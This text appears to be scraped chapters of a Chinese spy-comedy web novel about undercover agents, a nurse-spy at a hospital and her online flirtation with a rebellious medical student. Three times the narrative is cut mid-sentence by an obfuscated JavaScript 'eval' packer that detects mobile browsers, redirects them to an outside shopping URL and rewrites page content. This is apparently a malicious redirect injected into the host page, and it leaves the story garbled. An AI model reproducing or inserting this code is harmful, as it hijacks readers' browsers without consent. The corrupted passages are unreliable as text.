王若愚握住她的手,大脑突然一片空白。 秦菲儿和伊莎贝拉完全是两种类型:伊莎贝拉像熟透的水蜜桃,妩媚又神秘,甜里藏着危险;秦菲儿却像清晨带露的百合,清丽得体,眼神干净得让他有点心虚。 更要命的是,她父亲是秦雄晋——瑆洲国会教育委员会主席,正是王若愚的长期目标人物之一。 “王先生?”秦菲儿微微歪了歪头,“您没事吧?” “抱歉,”王若愚赶紧松开手,“只是……您很像我以前认识的一个朋友。” 这话够老套的,但秦菲儿笑了:“这是‘英雄’的特别搭讪方式吗?” 晚餐在一种奇怪的氛围中进行。张科长一个劲地撮合,王若愚拼命想藏住破绽,秦菲儿则保持着礼貌的好奇。 “所以您真的不记得被囚禁的具体地点了?”她切着牛排,看似随意地问。 “记忆有点……碎片化,”王若愚按训练好的话术回答,“心理医生说这是创伤后的自我保护机制。” “能理解,”秦菲儿点点头,“我父亲处理过类似的案例。他说有些人会通过专注工作来疗伤——您也是这样吗?” 这是试探?还是单纯的关心? 王若愚决定谨慎应对:“工作确实有帮助。教育是很美好的事业,能让人看到希望。” “说得好!”张科长举起酒杯,“为了教育,为了希望!” 碰杯时,王若愚的手机震了一下。他借口去洗手间查看,是条加密消息: “秦菲儿是意外还是机会?查她背景。是机会就接近,是陷阱就躲开,自己判断。P.S.你今天这西装颜色像马桶盖。——伊” 王若愚看着镜子里的自己,深绿色的西装,还真像公共厕所隔间的门。 回到座位时,秦菲儿正在讲她参与起草的教育法案。 “……所以我们坚持要加上留学生心理健康支持条款,”她说,“经历过苦难的人,应该得到更多关怀。” 她看向王若愚,眼神很真诚。 那一刻,王若愚心里涌起一阵尖锐的愧疚——像有人用冰锥刺他的良心,要是那玩意儿还在的话。 但他只是微笑点头:“很有意义的提案。如果需要,我很乐意分享一些……个人视角。” “真的吗?”秦菲儿眼睛亮了,“太好了!我父亲下周有个小型研讨会,是关于国际教育合作的,您愿意来吗?” 桌子底下,张科长悄悄踢了王若愚一脚。 “非常荣幸。”王若愚说。 送秦菲儿回家时,她站在公寓楼下,夜风吹起她的长发。 “王先生,”她突然说,“我不知道您经历了什么,但如果您需要倾诉……我很会倾听。有时候,把秘密说出来,就没那么重了。” 王若愚心里一紧。这是善良,还是更高明的话术? “谢谢,”他说,“但有些秘密,说出来会伤害别人。” “也可能会拯救自己。”她笑了笑,转身走进了大楼。 回程的出租车里,王若愚收到了秦菲儿的消息:“今晚很开心。期待研讨会再见。对了,你的领带歪了三次,需要我推荐好用的领带夹吗?” 他回复了“谢谢”,然后切到加密频道: “接触继续。秦菲儿初步评估:理想主义,善良,可能成为突破口。建议启动‘凤凰计划’第一阶段。” 按下发送键时,出租车正好经过教育部大楼。夜晚的办公楼灯火通明,像个巨大的蜂巢,里面的人忙着工作、忙着谋划、忙着生活。 王若愚突然想起训练营里哈利姆博士的话:“特工最难的伪装不是扮演别人,而是扮演‘正常’。因为正常人的生活,才是最复杂的剧本。” 司机从后视镜看了他一眼:“先生,您要去哪儿?” “回家,”王若愚说,“随便哪个家都行。” 他闭上眼睛,脑海里一会儿是伊莎贝拉妩媚的笑,一会儿是秦菲儿清澈的眼神。 心里一个声音嘀咕:王若愚啊王若愚,你到底是归来的英雄,还是放出来的瘟疫? 但另一个声音——那个被训练营植入的声音,冷静地回答:“你是模范生。模范的骗子。” 下午两点半,阳光透过窗户斜斜地照进宿舍。 薛耀溪戴着那副价值相当于三个月伙食费的降噪耳机,整个人蜷缩在电竞椅里,感觉自己就像太空舱里的宇航员——只不过,他的“太空舱”里堆满了泡面桶、能量饮料罐,还有几双没来得及洗的袜子,散发着复杂的味道。 耳机里播放的不是动感音乐,而是“专注白噪音:雨声与图书馆翻页声混合版”。他盯着电脑屏幕上密密麻麻的《有机化学》分子式,那些弯弯曲曲的线条像一群调皮的虫子,在眼前晃来晃去,眼皮也开始不受控制地打架。 就在这时,手机震动了一下。他瞥了一眼屏幕,是父亲薛崇恭发来的消息: “耀溪,郑老板周日家宴,务必出席。穿那套定制的西装,别又穿得像街头卖唱的。另:安琪(保姆)说你两周没给家里打电话了。——你老子” “老子?我管你是谁,就算是孔子来了我也不怕!”薛耀溪翻了个大大的白眼,手指在手机键盘上飞快地敲击着: “周日有学校活动。西装在干洗。电话我以后打。但切记,如果是柳曼接,我以后再不会打了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962990|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……忙,勿念。” 点击发送,然后迅速把薛崇恭的号码设为“免打扰”。 这套操作行云流水,前后只用了8.7秒,创下了他的个人新纪录。他满意地端起桌上的杯子,想喝口咖啡提提神,结果刚抿了一小口就皱紧了眉头——杯子里泡着的根本不是咖啡,而是昨天忘记清洗的颜料笔,那是为了完成那个该死的“人体解剖素描作业”才弄的。 “呕——” 他捂着嘴冲向洗手间,慌乱中踢翻了脚边一个价值几千元的豪华泡面桶,橘黄色的汤汁洒在地板上,溅出不规则的图案。薛耀溪看着那片污渍,突然来了灵感,给它命名为《自由的代价》。 在洗手间清洗完毕,他站在宿舍中央,环顾这个只有十平米的小空间:左边整洁得像个无菌室,书架上的漫画书按照颜色和尺寸排列得整整齐齐;右边却混乱得像个犯罪现场,墙上贴满了摇滚乐队的海报,其中一张明显歪了,但他坚持认为那是“艺术性的不对称”,是故意为之。 薛耀溪重新坐回电竞椅,戴上降噪耳机,世界瞬间又安静了下来。安静到他能清晰地听到自己血液里那股叛逆的咆哮声,在胸腔里回荡。 三点整,手机再次震动——这次是一个社交软件的通知。 “叮!您有一条新消息!‘月影’对您感兴趣,是否开始聊天?” 薛耀溪皱起了眉头。这个软件是他一周前下载的,简介上写着“寻找灵魂共鸣的深度交流平台”,但他心里却怀疑这其实是“富二代匿名炫耀俱乐部”。他在上面注册的名字是“溪流”,个人简介只有一句话:“在体制的鱼缸里游泳的鱼”。 他点开“月影”的主页。 头像很特别,是一张逆光拍摄的女性剪影,看不清具体的脸,但轮廓优雅,像一幅艺术摄影作品。 年龄显示为“30+”。 简介写着:“看过太多风景,现在更喜欢看人心。偏爱烈酒、深夜对话和打破规则的人。” 所在地只模糊地显示为“东南亚某处”。 神秘、成熟,而且明显和他不是一个世界的人。 薛耀溪的手指悬在屏幕上,有些犹豫。按照他过去的经验,这种“神秘成熟女性”大概率是以下几种情况:A.诈骗犯;B.微商;C.他爸派来试探他的卧底。 但今天他喝了颜料水,大脑好像有点不太清醒,鬼使神差地点了“开始聊天”。 系统跳出提示:“请发送第一句话!建议真诚、有趣、展现自我!” 薛耀溪盯着空白的对话框,大脑也跟着一片空白。展现什么自我呢?一个被有机化学逼到崩溃的医学生?一个穿西装像街头卖唱的富二代?还是一个在宿舍里制造“生化危机”的业余艺术家? 想了半天,他打字道: “溪流:如果我说我刚才把颜料水当咖啡喝了,你会觉得我是个傻子吗?” 点击发送。 没想到,三秒后就收到了回复。 “月影:(一个捂嘴笑的表情)那取决于颜料是什么颜色。如果是普鲁士蓝,说明你有品味。如果是荧光粉……那我得问你是不是在准备什么特殊的表演艺术。” 薛耀溪的嘴角不由自主地上扬了。这不是那种出于礼貌的微笑,而是发自内心的、忍不住的笑意。 “溪流:是赭石色。为了画心脏解剖图。” “月影:啊,医学艺术。最性感的学科和最狂野的学科的结合。你学医?” “溪流:预科班。我爸觉得这是‘体面的职业’。我觉得这是……刑期。” “月影:(一个眨眼的表情)小狼狗开始抱怨牢笼了?” “小狼狗”这个称呼让薛耀溪的耳朵有点发热。他十九年的人生里,被人叫过“薛少”“耀溪”“那个不听话的”,甚至有一次,他爸得知他在尹教官面前和柳曼打架后,气急败坏地叫他“逆子”!但“小狼狗”这个称呼,带着点调侃,有点亲昵,甚至还有一丝说不清的宠溺…… 他莫名地喜欢。 “溪流:谁是小狼狗?我这是对人生有清醒认知。” “月影:清醒到喝颜料水?(大笑表情)不过说真的,反抗既定轨道需要勇气。你搬出来住了?” 薛耀溪环顾了一下自己的宿舍——泡面桶、脏袜子、洒在地上的汤汁。自由的味道,好像确实有点复杂。 “溪流:算是。至少没人管我穿什么、几点睡、听什么音乐。” “月影:自由的味道,哪怕带着泡面味,也比虚伪的盛宴来得舒服,对吧?” 她竟然说出了他想说的话。不对,是他心里盘旋了很久却没说出口的话,被她轻易地说出来了。 薛耀溪坐直了身体,手指在键盘上停顿了一下。这个“月影”……好像太懂他了。懂那种被安排好一切的反胃感,懂那种想撕碎现状却找不到着力点的愤怒,懂那种在豪华牢笼里假装享受的荒诞。 “溪流:你好像很了解?” “月影:我?算是见过不少‘笼子’。金的,银的,镶钻的……本质都一样。重要的是,你有没有磨尖牙齿。” “溪流:我的牙齿可能还没长齐。” “月影:(发送一张模糊的照片)你看过成年狼的牙齿吗?不是为了撕咬猎物,是为了捍卫自己选择猎物的权利。” 照片的光线很暗,但能看到一个女性的侧脸轮廓,她手里拿着酒杯,背景像是某个高空酒吧的夜景。照片下面配着一行字:“东京,凌晨两点,决定辞职的夜晚。” 真实中带着点虚幻,像一部精心剪辑的电影预告片,引人好奇。 薛耀溪彻底被吸引住了。 70.圣保罗的午后 接下来的两个小时,他完全忘记了时间的存在。 他们从音乐聊起——薛耀溪喜欢后摇滚和实验电子,月影说她收藏了很多黑胶唱片,最爱的是“醉醺醺的爵士和愤怒的朋克”。 “溪流:愤怒的朋克和爵士不矛盾吗?” “月影:亲爱的,最极致的优雅底下都是歇斯底里。就像手术刀划开皮肤的那一刻——精准、冷静,但切开的是血肉模糊的真实。” 她说话的方式……像在写诗,又像在念咒语,带着一种奇特的魔力。 聊到电影,薛耀溪说他讨厌所有大团圆结局。 “月影:那你应该会喜欢我前男友导演的独立电影——片长三小时,最后所有人都死了,字幕是‘存在即痛苦’。我在首映礼上睡着了,醒来后发现他在和影评人讨论存在主义。我起身走了,再也没回去。” “溪流:真实故事?” “月影:半真半假。我真的走了,但没分手。有时候,荒诞的关系比荒诞的电影更有趣。” 她总是这样:透露一点点真实,又用玩笑把它包裹起来,像在玩一个“猜猜我哪句是真话”的游戏,让人捉摸不透。 话题不知不觉滑向了家庭。薛耀溪忍不住抱怨起父亲的掌控欲。 “溪流:他连我打什么颜色的领带都要管。上周还给我安排了‘未来十年人生规划表’,精确到每个季度。” “月影:你看了吗?” “溪流:我用来垫泡面桶了。油渍正好遮住了‘三十岁前结婚’那一条。” “月影:(一连串大笑表情)干得漂亮。不过……你有没有想过,反抗不只是拒绝,而是自己建立规则?” 薛耀溪盯着这句话,陷入了长时间的沉思。—— “溪流:怎么建立?” “月影:从最小的事开始。比如,现在放下手机,去把你洒在地上的泡面泡面干净。自由的第一步,是对自己的混乱负责。(眨眼表情)” 薛耀溪猛地转头看向地上的那片污渍。她怎么知道的?难道宿舍里有摄像头?还是只是巧合? “溪流:……你怎么知道我有泡面洒了?” “月影:每个反抗期的男孩宿舍都有泡面洒在地上。这是宇宙定律。” 他松了口气,心里却又莫名地有点失落——如果她真的在监视他,好像反而更刺激一点。这个想法有点变态,但他不得不承认。 他起身去清理地板,期间手机不停地震动。 “月影:在清理了吗?” “月影:用热水,不然油脂洗不掉。” “月影:别告诉我你连清洁剂都没有。” “月影:算了,男孩的宿舍……我该有心理准备。” 薛耀溪一边擦地一边忍不住笑了起来,像个被姐姐唠叨的弟弟,却一点也不觉得讨厌。 清理完毕,他拍了一张干净地面的照片发过去。 “溪流:验收。” “月影:合格。奖励你一个人生建议:真正的自由不是想做什么就做什么,而是不想做什么时,有说不的能力。你的牙齿,得先学会说‘不’。” “溪流:比如?” “月影:比如,下次你父亲让你穿那套‘像卖唱的’西装时,你可以说:‘不,我要穿皮衣。’即使最后你还是穿了西装,但你说过‘不’,那就是一颗牙。” 薛耀溪看着这段话,心脏“砰砰”地跳了起来,像是被什么东西狠狠撞了一下。 四点整,估计是徐燕风打球回来了,走廊里传来他咋咋呼呼的动静,薛耀溪戴上降噪耳机,却没有打开白噪音。他在和月影的对话框里打字: “溪流:如果我告诉我爸,我就是想当医生,他会心肌梗塞。” “月影:那你就该去学心脏外科。这样他倒下时,你能亲手救他。(恶魔表情)” “溪流:!!!” “月影:开个玩笑。不过……你确实该想清楚,你在反抗什么,又想要什么。否则只是青春期延长罢了。” “溪流:你怎么知道我不是青春期?” “月影:因为青春期男孩不会用‘赭石色’这个词。他们会说‘屎黄色’。” 薛耀溪忍不住大笑出声,惊得正在看书的学霸室友抬起头,像看精神病患者一样看着他。 五点,月影说她要走了。 “月影:有个无聊的酒会要出席。人们会假装关心艺术,实际上在交换名片。我会想念和你的对话的,小狼狗。” “溪流:我也是……(删掉)我是说,酒会愉快。” “月影:(发送一个飞吻表情)记住,磨牙。但别磨得太快,小心伤到自己。” 她下线了。 薛耀溪盯着变灰的头像,突然觉得宿舍里格外安静——不是降噪耳机营造出的那种虚假安静,而是对话结束后,真实的寂静。 他摘下耳机,走廊里徐燕风的喧哗声,还有隔壁宿舍何念曦打游戏的叫骂声,都清晰地传了进来。 真实世界的声音涌进耳朵,带着粗糙却鲜活的质感。 他起身走到窗边,看向不远处的圣保罗医院。白色的建筑在夕阳下镀上了一层金边,远远望去,像一个巨大而精致的笼子。 手机又震动了一下,父亲的消息再次弹了出来: “安琪已经买了新西装。周日中午接你。另:柳曼还在生你的气,你打算怎么办。” 薛耀溪深吸一口气,手指在屏幕上敲击:“那就气死她得了!” 点击发送。 然后他打开和月影的对话框,看着最后那个飞吻表情,心里暖暖的。 他给她的个人主页点了个“特别关注”,又在自己的简介里加了一句: “正在学习磨牙。” 窗外,圣保罗的午后渐渐落幕,夜晚即将来临,带着它所有的秘密、谎言和无限的可能性。 而在薛耀溪不知道的地方——圣保罗医院五楼的普外科护士站,孟晓美刚刚锁上手机屏幕,脱下了白大褂。她望着窗外医学院宿舍楼的某个窗户,嘴角勾起一抹难以捉摸的笑容。 “小狼狗,”她轻声自语,“牙还没长齐呢。”说完,她转身走向更衣室,准备换上晚礼服,去参加那个“无聊的酒会”。 黄昏的光线柔和地洒下来,弥漫着一丝若有若无的幽默:一个以为自己在奋力反抗的男孩,一个正在执行任务的女特工,一场关于自由的深度对话,而他们双方都不知道,彼此之间其实只隔着一排黄皮果树林——和一整个被伪装起来的世界。 清晨六点,圣保罗医院五楼护士站。 孟晓美对着更衣室的镜子整理护士帽,手法娴熟得像在安装□□——实际上她确实在帽子内侧贴了一个。不是任务需要,纯粹是个人习惯:“永远多备一个监听设备,就像永远多带一包纸巾,总有用得上的时候。” 镜子里映出一张无可挑剔的脸:26岁,肤白貌美,微笑弧度经过精确计算——“亲切但不过分热情,专业但不冰冷”。用训练营心理评估师的话说:“这张脸让人想倾诉秘密,同时又不敢撒谎。” 她今天轮值普外科白班。交接表上写着: ·7号床,阑尾炎术后,需观察有无感染(真) ·12号床,胆囊切除,家属特别难缠(真) ·21号床,政府官员,胃溃疡,但病房里经常有非医疗人员进出(重点关注) ·新入院:15床,医学院预科班学生,食物中毒,症状可疑(已标记) “晓美姐,早!”实习护士薇薇安蹦蹦跳跳地进来,“你看到15床那个小帅哥了吗?长得好像明星!可惜吐得脸都绿了……” “看到了,”孟晓美微笑,从储物柜拿出听诊器,“医嘱是补液观察。你负责他吧,多积累经验。” “真的吗?谢谢晓美姐!”薇薇安眼睛发亮。 孟晓美心里想:去吧,孩子。去给那个“食物中毒”的医学生量体温,他其实是昨晚在宿舍偷喝工业酒精做实验——医学院的传统艺能。而他隔壁床的“胃溃疡官员”正在用病房电话进行加密通话,内容涉及下周国会投票。 这就是圣保罗医院:一楼是真正的病人,二楼是半真半假的病人,三楼往上……是各种披着病号服的演员。而她是这出戏的场记兼暗处的导演。 早会结束,护士长分配任务时,孟晓美“恰好”被安排负责21床及周边区域。完美。 她推着护理车走向病房,车轮发出规律的嘎吱声。经过消防栓时,她自然的弯腰系鞋带,手指迅速在消防栓底部摸到一个凸起——按压三下,旁边的墙壁悄无声息滑开一道二十厘米的缝隙。 里面是个扁平空间,放着今日的“特殊物品”:一个伪装成血压计的信号屏蔽器,一支灌有吐真剂(微量)的签字笔,还有一张纸条。 纸条上只有一行字:“21床今日有‘包裹’。确保‘安全投递’。” 孟晓美取出屏蔽器和笔,墙壁合拢,整个过程耗时4.2秒。她把屏蔽器藏在护理车底层,签字笔插在白大褂口袋——和另外三支一模一样的笔放在一起。 “孟护士!”21床的家属——一个穿着不合身西装的中年男人——在病房门口招手,“能来看看监测仪吗?它一直在响。” “来了。”孟晓美推车过去,笑容无懈可击。监测仪确实在响,因为病人自己把血氧夹拿掉了。 “程先生,”孟晓美一边重新夹好,一边柔声说,“这个要一直戴着,不然我们不知道您是否缺氧。” 病床上,那位“胃溃疡官员”程前虚弱地点头:“不好意思,护士小姐,它有点痒……” 他的眼神闪烁。撒谎。 孟晓美检查输液管时,指尖轻轻拂过滴速调节器——下面粘着一个微型U盘。她面不改色地调整滴速,顺便把U盘收进口袋。 “今天感觉怎么样?”她问,同时用身体挡住家属视线,从护理车底层取出信号屏蔽器,借着整理床单的动作,把它贴在床垫下方。 “好多了,好多了,”程前咳嗽两声,“就是……护士小姐,我想问一下,医院有没有更安静的房间?我睡眠不好。” 暗号。意思是:我需要安全的环境进行下一阶段操作。 “有的,”孟晓美记录着生命体征,“但需要主任批准。我下午帮您问问。” 意思是:下午安排。 走出病房时,她和薇薇安擦肩而过。薇薇安正红着脸给15床的“酒精中毒小帅哥”量血压,完全没注意到血压计是反着拿的。 “薇薇安,”孟晓美温和提醒,“袖带要在肘窝上方两指。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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走廊里偶尔有人走过,都穿着白大褂或保洁服,目不斜视。有人推着送药车,车里可能是真的药品,也可能是加密通讯设备;有人拿着病历夹,里面可能是病情记录,也可能是暗杀名单。 孟晓美走向03号房间,门牌上写着“医疗耗材申领处”。她推门进去,里面坐着一个秃顶大叔,正在玩扫雷。 “申领什么?”大叔头也不抬。 “10支5ml注射器,20个输液贴,3卷弹性绷带,”孟晓美流利地报出,“还有……一箱‘丽纹蛇专用补给’。” 大叔的手停在鼠标上,终于抬头看她。眼镜后面的眼睛锐利如鹰。 “代号?” “丽纹蛇。” “验证。” 孟晓美脱下右手的护士手套,露出手腕内侧——那里有一个极小的纹身,看起来像毛细血管网,但在紫外灯下会显现出蛇形图案和数字编码。 大叔用微型扫描仪扫过,电脑屏幕上跳出她的档案。 “孟晓美,代号丽纹蛇,入职圣保罗医院掩护身份:**,执行任务数:**,成功率:100%……”大叔念着,抬眼,“新人?第一次来‘消化科’?” “第一次领取正式任务装备。”孟晓美保持立正姿势,心里想:装什么装,我上个月还伪装成清洁工来换过窃听器电池。 大叔从柜子里推出一个纸箱,看起来就是普通的医疗耗材箱。但孟晓美接过时,手感不对——太重了。 “清单在里面,”大叔说,“标准配置:通讯器、应急毒药、反监听设备……哦,还有上级特别交代,给你配了个‘玩具’。” “玩具?” 大叔露出一个诡异的笑:“21床的‘包裹’不是普通U盘。里面是国会大厦部分区域的安保系统漏洞报告。你的任务:确保它今天下午三点,通过‘特殊快递’送出医院。” 孟晓美皱眉:“我只是护士,运输不是我的职责范围。” “现在是了,”大叔重新开始玩扫雷,“‘丽纹蛇’的首次正式行动。代号:消化道异物取出术。意思是:把不该在系统里的东西,安全弄出去。细节在箱子里。祝你好运。” 孟晓美抱起箱子转身,听到大叔在后面嘀咕:“现在的年轻人,一上来就玩这么大的……” 回到五楼护士站,孟晓美在更衣室打开箱子。 最上面确实是医疗耗材,下面才是真正的装备: ·一个伪装成胰岛素泵的加密通讯器 ·两粒纽扣大小的应急毒药(标签写着“维生素B12,舌下含服”) ·一枚戒指,宝石可以旋转,里面是微型照相机 ·以及……一套胃镜设备。 不是完整的胃镜,而是一个胶囊大小的容器,附带微型显示屏。说明书只有一行字: “异物尺寸:2cm×1cm。 植入方式:口服。 取出时间窗口:6小时。 超时后果:溶解,内容物泄露(字面意义和比喻意义)。” 孟晓美盯着那个胶囊容器。所以U盘要让人吞下去?谁吞?怎么让他吞?吞了之后怎么在六小时内“取出”?取出的意思难道是…… 她胃里一阵翻腾。特工训练营教过很多技能:开锁、窃听、伪装、格斗、基础医疗。但没教过“如何说服一个陌生人吞下装有情报的胶囊,并在六小时内通过医学手段取出来”。 这算什么?跨界医疗间谍行动? 下午一点,她推着护理车再次走进21床病房。 程前正在看电视——新闻频道,音量很大。典型的掩饰行为。 “程先生下午好,”孟晓美笑容甜美,“主任说可以给您安排安静的房间,但需要先做个胃镜检查,评估您胃溃疡的恢复情况。” 程前脸色一变:“胃镜?不用了吧,我感觉好多了……” 71.丽纹蛇日常 “这是规定,”孟晓美拿出同意书,“而且我们有无痛胃镜,睡一觉就好了。” 她的眼神传递着其他信息:这不是请求,是流程。 程前迟疑片刻,终于点头。他的手指在被子下做了个手势:明白。 下午两点,孟晓美穿着手术服,站在内镜室准备。真正的消化科医生被她用“护士长紧急会议”的理由支开了——医生走时还抱怨:“又是行政会议,他们以为医院是国会吗?” 讽刺的是,今天这里确实是。 程前被推进来,麻醉师是“自己人”——一个看起来像大学生的年轻男人,对孟晓美眨了眨眼。 “开始吧,孟护士”麻醉师低声说,“我给你40分钟窗口。三点整,快递员会在一楼‘医疗垃圾转运处’等你。别迟到。” 麻醉生效。孟晓美站在手术台前,深吸一口气。 她受过基础医疗训练,但实际操作胃镜……这是第一次。屏幕上显示着程前的胃部影像,一堆粉红色的皱褶在蠕动。 “胶囊在器械台左边,”麻醉师提醒,“直径11mm,表面有润滑涂层。理论上,用胃镜钳夹住,顺着食道送下去就行。但理论上人也应该会飞。” 孟晓美拿起胃镜管,手很稳。这是她为数不多的天赋:越紧张手越稳。训练营教官说:“你这双手,适合拿手术刀,也适合拿匕首。” 她把胶囊夹在胃镜钳前端,小心地送入病人口中。屏幕显示胶囊顺利通过食道,落入胃部。 “好了,”麻醉师看着监控仪,“心跳血压正常。现在……等他醒?然后怎么让他‘排出’?” 孟晓美看着屏幕上的胶囊,它静静地躺在胃液里。说明书说“超时溶解”,但没说怎么让它按时出来。 她突然想起箱子底层还有个小东西:一个遥控器,标签写着“肠道蠕动促进器(谨慎使用)”。 “有了。”她按下按钮。 屏幕上,胶囊突然开始震动,像个小跳蛋一样在胃里弹跳。 麻醉师瞪大眼睛:“这是什么黑科技?!” “国情局特供,”孟晓美盯着屏幕,“理论上,震动会刺激肠胃蠕动,加速胶囊进入肠道,然后……自然排出。” “自然排出?意思是我们要等它拉出来?”麻醉师表情扭曲,“还要在三点前?你知道人类消化系统平均需要24到72小时吗?” 孟晓美看了眼时钟:两点二十。 她按下第二个按钮:“加强模式。” 胶囊震得更厉害了,在胃里横冲直撞。屏幕上的胃壁剧烈收缩。 “停!他要吐了!”麻醉师按住病人的肩膀。 孟晓美关掉震动。胶囊安静下来,但似乎……往前移动了一点? “有门,”她说,“但太慢了。” 她思考三秒,然后做了一个大胆的决定。 “给我一支胃复安,”她说,“还有……一杯浓咖啡。” “现在用药?” “不是给他用,”孟晓美脱下手术手套,“给我自己用。” 两点四十,孟晓美站在一楼“医疗垃圾转运处”门口,手里拎着一个密封的黄色医疗垃圾袋,脸色苍白。 胃复安加浓咖啡的效果很猛:她现在既想吐又想拉,还得保持优雅的微笑。 一个穿着快递员制服的男人推着推车过来:“特殊医疗样本?” “21床的,”孟晓美递过垃圾袋,“需要低温运输。” 快递员接过,掂量了一下:“有点轻。确认在里面?” “在,”孟晓美咬牙,“以非常规方式。” 快递员打开袋子看了一眼,表情瞬间凝固。袋子里不是粪便样本容器而是一整个……粪便。中间有个闪亮的胶囊。 “你……没装容器里?” “没时间,”孟晓美说,“直接用手套包着拿出来的。新鲜出炉,保证活性。” 快递员的脸色比她还难看:“你知道我要带着这个坐地铁吗?”“这是为了国家安全,”孟晓美虚弱地说,“另外建议你戴双层口罩。味道有点……独特。” 快递员深吸一口气,把袋子密封好,放进保温箱:“我会记住你的,护士小姐。” “荣幸。” 快递员推车离开。孟晓美靠着墙,腿软。 两点五十八分,她的加密通讯器震动: “包裹安全送出。任务完成。评估:成功,但方式……极具创意。备注:以后请使用标准流程。——上级” 孟晓美看着消息,突然笑出声。笑得太厉害,差点真的吐出来。 她走回三楼,在护士站洗手台拼命洗手,用了半瓶消毒液。 薇薇安凑过来:“晓美姐,你脸色好差!不舒服吗?” “没事,”孟晓美看着镜子里苍白的自己,“就是……今天帮病人解决了一个消化道问题。比较棘手。” “啊,是便秘吗?我奶奶也经常……” “类似吧。”孟晓美关上水龙头。 她回到更衣室,脱下白大褂,看到口袋里那支灌有吐真剂的签字笔。突然觉得,比起让人吞胶囊再挖出来,注射吐真剂简直是文明社会的优雅操作。 手机震动,社交软件弹出消息: “溪流:今天做了件疯狂的事——没穿我爸送的西装去家族聚会。穿了皮衣。他脸都绿了。算不算磨牙成功?” 孟晓美靠在储物柜上,笑了。她打字回复: “月影:算。但小心别把牙崩了。另:建议你最近别吃胶囊类药物,看着难受。” 发送。 她不知道薛耀溪会不会理解这句没头没尾的话,但她需要说出来——这是她今天唯一的、小小的、真实的幽默。 窗外,圣保罗医院的灯光逐一亮起。白色建筑在夜色中像一座巨大的迷宫,里面的人们穿着各种制服,扮演各种角色,传递各种秘密。 而孟晓美——护士、特工、丽纹蛇、月影——只是其中一个比较忙的演员。 她看了眼时钟,该下班了。但特工没有下班时间,只有“待机”和“激活”。 “今天战绩:成功取出消化道异物一件,未暴露身份,未杀人,”她对自己总结,“以及…可能让一个快递员有了终身心理阴影。” 早晨七点零三分,圣保罗医院五楼普外科护士站。 孟晓美用戴着医用手套的手指捏起测温枪——不是给病人用的那支,是她自己“改良”过的那支。对准自己的额头,按下按钮。 “36.7℃,正常。”机械女声。 她又对准窗台上的绿萝。 “25.3℃,轻度缺水。”同一支枪。 “看到没,薇薇安?”她对旁边正在啃三明治的实习护士说,“绿萝比你更懂得保持适宜体温。” 薇薇安被面包噎得翻白眼,含糊不清地说:“晓美姐……那是植物……” “植物尚且知道自我调节,”孟晓美优雅地把测温枪插回白大褂口袋,“而我们的12床病人昨晚偷吃了一整盒家属藏在枕头下的巧克力。血糖监测仪报警了三次,他每次都说‘可能是机器故障’。” 她把医嘱板拍在薇薇安面前:“今天12床禁甜食。如果他再问你‘能不能吃一块小小的、小小的巧克力’,你就说——” “说‘不行’?”薇薇安试探。 “说‘巧克力会与您的抗生素产生反应,可能导致不可逆的肾功能损伤甚至失明’。”孟晓美微笑,“不必是真话,但要是够吓人。医患沟通的第一原则:病人不需要真相,他们需要能说服自己遵守医嘱的理由。” 薇薇安敬畏地记录。孟晓美转身走向药房,心里想:训练营教官该来听听我的医患关系课,比他们教的审讯技巧实用多了。 取药时,药剂师递给她一个密封袋,里面是几支看起来普通的维生素B12注射液。 “新批次,”药剂师眨眨眼,“效果……更稳定。” 孟晓美点头。她知道“更稳定”的意思是:这批吐真剂的起效时间从3-5分钟缩短到90秒内,且代谢更快,血检查不出。国情局医疗科研部的那些疯子,总能在奇怪的地方取得突破。 她把药袋放进护理车底层,上面压上真正的药品。这是她的日常:白大褂左边口袋是护士用的笔(能写字),右边口袋是特工用的笔(能注射微量吐真剂);护理车上层是绷带和消毒液,下层是信号干扰器和加密对讲机。 推车经过走廊时,她瞥见21床病房门虚掩着。里面传出电视声——又是新闻频道,音量调到足以掩盖低语声。 “陈先生今天精神不错?”她推门进去,笑容标准如机场指示牌。 病床上,那位“胃溃疡官员”程前正用平板电脑看股市行情,但孟晓美注意到他手指在边缘有规律地轻敲——摩斯密码,简单的“一切正常”。 “护士小姐,”程前咳嗽两声,“我什么时候能出院?还有很多工作……” “得看下午的胃镜复查结果,”孟晓美自然地调整输液滴速,顺便把一枚纽扣大小的窃听器贴在床头柜背面,“您得耐心。胃病,三分治,七分养。” 她说话时眼睛看着输液瓶,余光却扫过病房每个角落:窗户紧闭(安全),卫生间门半开(无人),果篮里有个苹果被咬了一口(暗号:已接收信息)。 完美的掩护现场。除了一个细节:程前手腕上的住院腕带,松紧度不对——太松了,随时可以摘下来。这不是粗心,是准备随时撤离。 孟晓美不动声色,在护理记录上写下:“患者焦虑情绪明显,建议心理疏导。” 意思是:目标状态不稳定,需加强监控。 走出病房,她遇见了今天真正需要她“护理”的人。 上午九点,孟晓美推着一个满载“污染被服”的推车走进员工电梯,按下B2。 电梯门关闭的瞬间,她迅速撕下推车底层的一块魔术贴——下面是平板电脑的屏幕。她输入密码,屏幕亮起,显示医院各楼层的实时监控画面。 三楼护士站,薇薇安正手忙脚乱地应付12床病人的巧克力哀求。 四楼ICU,一切正常。 五楼行政层,院长正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“胶囊?”孟晓美皱眉,“让他吞下去?” “准确说,是通过胃镜放置在他的胃里。”印度环蛇调出胶囊的3D模型——看起来像颗银色的小药丸,表面有细微的纹路。“内置定位器和防酸蚀涂层,可以在胃里停留18-24小时。之后会随粪便排出,我们在外部回收。” “所以我要说服一个警惕性很高的前情报官员,接受一次非必要的胃镜,然后在他不知情的情况下往他胃里放个追踪器?”孟晓美抱起手臂,“这计划是哪位天才在喝醉时想出来的?” 